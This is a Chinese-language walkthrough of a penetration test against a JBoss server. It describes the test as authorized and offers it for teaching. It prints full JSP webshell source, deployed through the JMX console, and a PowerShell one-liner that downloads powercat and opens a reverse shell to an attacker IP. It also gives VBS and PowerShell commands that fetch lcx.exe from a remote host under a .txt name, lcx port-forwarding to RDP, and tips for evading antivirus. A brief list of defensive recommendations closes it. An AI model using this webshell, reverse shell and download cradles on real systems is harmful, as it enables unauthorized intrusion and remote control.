一次不完美的Jboss渗透
字数 957 2025-08-26 22:11:23

JBoss渗透测试实战教学文档

一、前言

本教学文档基于一次真实的JBoss渗透测试案例,详细记录了从信息收集到漏洞利用的全过程,包含Windows系统提权尝试和端口转发技术。测试已获得授权,仅供学习参考。

二、信息收集阶段

  1. 端口扫描

    • 使用nmap进行端口扫描
    • 发现8080端口开放JMX-Console服务
    • 路径:/jmx-console/
  2. 服务识别

    • 确认目标为JBoss应用服务器
    • JBoss已知漏洞:可通过部署WAR包实现远程代码执行

三、漏洞利用过程

1. 制作恶意WAR包

步骤:

  1. 创建JSP木马文件(gg.jsp):
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>
<html>
<head><title></title></head>
<body>
<%
  Runtime runtime = Runtime.getRuntime();
  Process process = null;
  String line = null;
  String ip = request.getParameter("cmd");
  try {
    process = runtime.exec(ip);
    is = process.getInputStream();
    isr = new InputStreamReader(is);
    br = new BufferedReader(isr);
    out.println("<pre>");
    while((line = br.readLine()) != null) {
      out.println(line);
      out.flush();
    }
    out.println("</pre>");
    is.close(); isr.close(); br.close();
  } catch(IOException e) {
    out.println(e);
    runtime.exit(1);
  }
%>
</body>
</html>
  1. 打包方法:

    • 将JSP文件压缩为ZIP
    • 重命名为WAR扩展名
  2. 托管WAR文件:

    • 使用Python快速搭建HTTP服务:
    python -m SimpleHTTPServer 8589
    

2. JBoss漏洞利用

  1. 访问JMX控制台:

    http://[target]:8080/jmx-console/
    
  2. 查找部署点:

    • 全局搜索jboss.system
    • 找到部署管理接口
  3. 远程部署WAR:

    • 输入WAR文件的远程URL地址
    • 提交部署请求
  4. 验证部署:

    • 访问部署的JSP shell:
    http://[target]:8080/[war-name]/gg.jsp?cmd=whoami
    

四、权限提升与内网渗透

1. 获取交互式Shell

方法1:PowerShell反弹

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c [attacker-ip] -p [port] -e cmd

方法2:VBS下载

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\Windows\Temp\2.txt",2 >>download.vbs

方法3:PowerShell下载

(new-object System.Net.WebClient).DownloadFile('http://ip:7667/lcxx/lcx.exe','C:\Windows\Temp\2.txt')

2. 端口转发技术

使用lcx工具:

  1. 目标机器执行:
lcx -slave [attacker-ip] 51 [internal-ip] 3389
  1. 攻击机器执行:
lcx.exe -listen 51 9090

替代方案(防火墙绕过):

lcx -tran 53 [target-ip] 3389

3. 提权检查

  1. 检查用户权限:

    • 确认是否为Administrators组成员
  2. 检查补丁状态:

    • 参考补丁编号对照表:
    https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp
    
  3. 杀毒软件检测:

    • 检查进程列表
    • 案例中发现卡巴斯基防护

五、经验总结

  1. 成功要点

    • JBoss未授权部署漏洞利用成功
    • 获取了Webshell和命令执行权限
    • 发现管理员权限账户
  2. 受阻原因

    • 杀毒软件拦截工具下载
    • 防火墙限制端口访问
  3. 改进建议

    • 使用内存加载方式绕过杀毒软件
    • 尝试reGeorg+Proxifier进行内网代理
    • 使用Java标准方式打包WAR文件(jar -cvf
  4. 安全建议

    • JBoss应配置认证机制
    • 限制JMX控制台访问
    • 及时安装安全补丁
    • 部署Web应用防火墙

附录:常用命令参考

  1. WAR打包正确方法
jar -cvf shell.war shell.jsp
  1. 替代端口转发工具

    • EarthWorm
    • reGeorg
    • ngrok
  2. 杀软绕过技巧

    • 内存加载PowerShell脚本
    • 使用合法软件白名单
    • 代码混淆和加密
JBoss渗透测试实战教学文档 一、前言 本教学文档基于一次真实的JBoss渗透测试案例,详细记录了从信息收集到漏洞利用的全过程,包含Windows系统提权尝试和端口转发技术。测试已获得授权,仅供学习参考。 二、信息收集阶段 端口扫描 使用nmap进行端口扫描 发现8080端口开放JMX-Console服务 路径: /jmx-console/ 服务识别 确认目标为JBoss应用服务器 JBoss已知漏洞:可通过部署WAR包实现远程代码执行 三、漏洞利用过程 1. 制作恶意WAR包 步骤: 创建JSP木马文件(gg.jsp): 打包方法: 将JSP文件压缩为ZIP 重命名为WAR扩展名 托管WAR文件: 使用Python快速搭建HTTP服务: 2. JBoss漏洞利用 访问JMX控制台: 查找部署点: 全局搜索 jboss.system 找到部署管理接口 远程部署WAR: 输入WAR文件的远程URL地址 提交部署请求 验证部署: 访问部署的JSP shell: 四、权限提升与内网渗透 1. 获取交互式Shell 方法1:PowerShell反弹 方法2:VBS下载 方法3:PowerShell下载 2. 端口转发技术 使用lcx工具: 目标机器执行: 攻击机器执行: 替代方案(防火墙绕过): 3. 提权检查 检查用户权限: 确认是否为Administrators组成员 检查补丁状态: 参考补丁编号对照表: 杀毒软件检测: 检查进程列表 案例中发现卡巴斯基防护 五、经验总结 成功要点 : JBoss未授权部署漏洞利用成功 获取了Webshell和命令执行权限 发现管理员权限账户 受阻原因 : 杀毒软件拦截工具下载 防火墙限制端口访问 改进建议 : 使用内存加载方式绕过杀毒软件 尝试reGeorg+Proxifier进行内网代理 使用Java标准方式打包WAR文件( jar -cvf ) 安全建议 : JBoss应配置认证机制 限制JMX控制台访问 及时安装安全补丁 部署Web应用防火墙 附录:常用命令参考 WAR打包正确方法 : 替代端口转发工具 : EarthWorm reGeorg ngrok 杀软绕过技巧 : 内存加载PowerShell脚本 使用合法软件白名单 代码混淆和加密